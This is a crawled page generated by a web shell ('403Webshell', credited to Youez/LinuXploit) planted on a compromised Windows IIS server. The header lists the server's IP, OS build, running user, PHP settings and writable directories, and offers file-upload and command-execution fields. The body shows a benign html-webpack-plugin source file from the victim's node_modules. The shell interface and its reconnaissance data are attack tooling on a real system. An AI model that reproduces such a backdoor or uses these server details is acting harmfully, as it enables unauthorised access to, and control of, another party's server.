403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/parsmega.nuxt/node_modules/html-webpack-plugin/lib/webpack4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/parsmega.nuxt/node_modules/html-webpack-plugin/lib/webpack4/file-watcher-api.js
/** @typedef {import("webpack/lib/Compilation.js")} WebpackCompilation */
/** @typedef {{timestamp: number, fileDependencies: string[]}} Snapshot */
'use strict';

/**
 *
 * @param {{fileDependencies: string[], contextDependencies: string[], missingDependencies: string[]}} fileDependencies
 * @param {WebpackCompilation} compilation
 * @param {number} startTime
 */
function createSnapshot (fileDependencies, compilation, startTime) {
  const flatDependencies = [];
  Object.keys(fileDependencies).forEach((depencyTypes) => {
    fileDependencies[depencyTypes].forEach(fileDependency => {
      flatDependencies.push(fileDependency);
    });
  });
  return {
    fileDependencies: flatDependencies,
    timestamp: startTime
  };
}

/**
 * Returns true if the files inside this snapshot
 * have not been changed
 *
 * @param {Snapshot} snapshot
 * @param {WebpackCompilation} compilation
 * @returns {Promise<boolean>}
 */
function isSnapShotValid (snapshot, compilation) {
  // Check if any dependent file was changed after the last compilation
  const fileTimestamps = compilation.fileTimestamps;
  const isCacheOutOfDate = snapshot.fileDependencies.some((fileDependency) => {
    const timestamp = fileTimestamps.get(fileDependency);
    // If the timestamp is not known the file is new
    // If the timestamp is larger then the file has changed
    // Otherwise the file is still the same
    return !timestamp || timestamp > snapshot.timestamp;
  });
  return Promise.resolve(!isCacheOutOfDate);
}

/**
 * Ensure that the files keep watched for changes
 * and will trigger a recompile
 *
 * @param {WebpackCompilation} mainCompilation
 * @param {{fileDependencies: string[], contextDependencies: string[], missingDependencies: string[]}} fileDependencies
 */
function watchFiles (mainCompilation, fileDependencies) {
  Object.keys(fileDependencies).forEach((depencyTypes) => {
    fileDependencies[depencyTypes].forEach(fileDependency => {
      mainCompilation.compilationDependencies.add(fileDependency);
    });
  });
}

module.exports = {
  createSnapshot,
  isSnapShotValid,
  watchFiles
};

Youez - 2016 - github.com/yon3zu
LinuXploit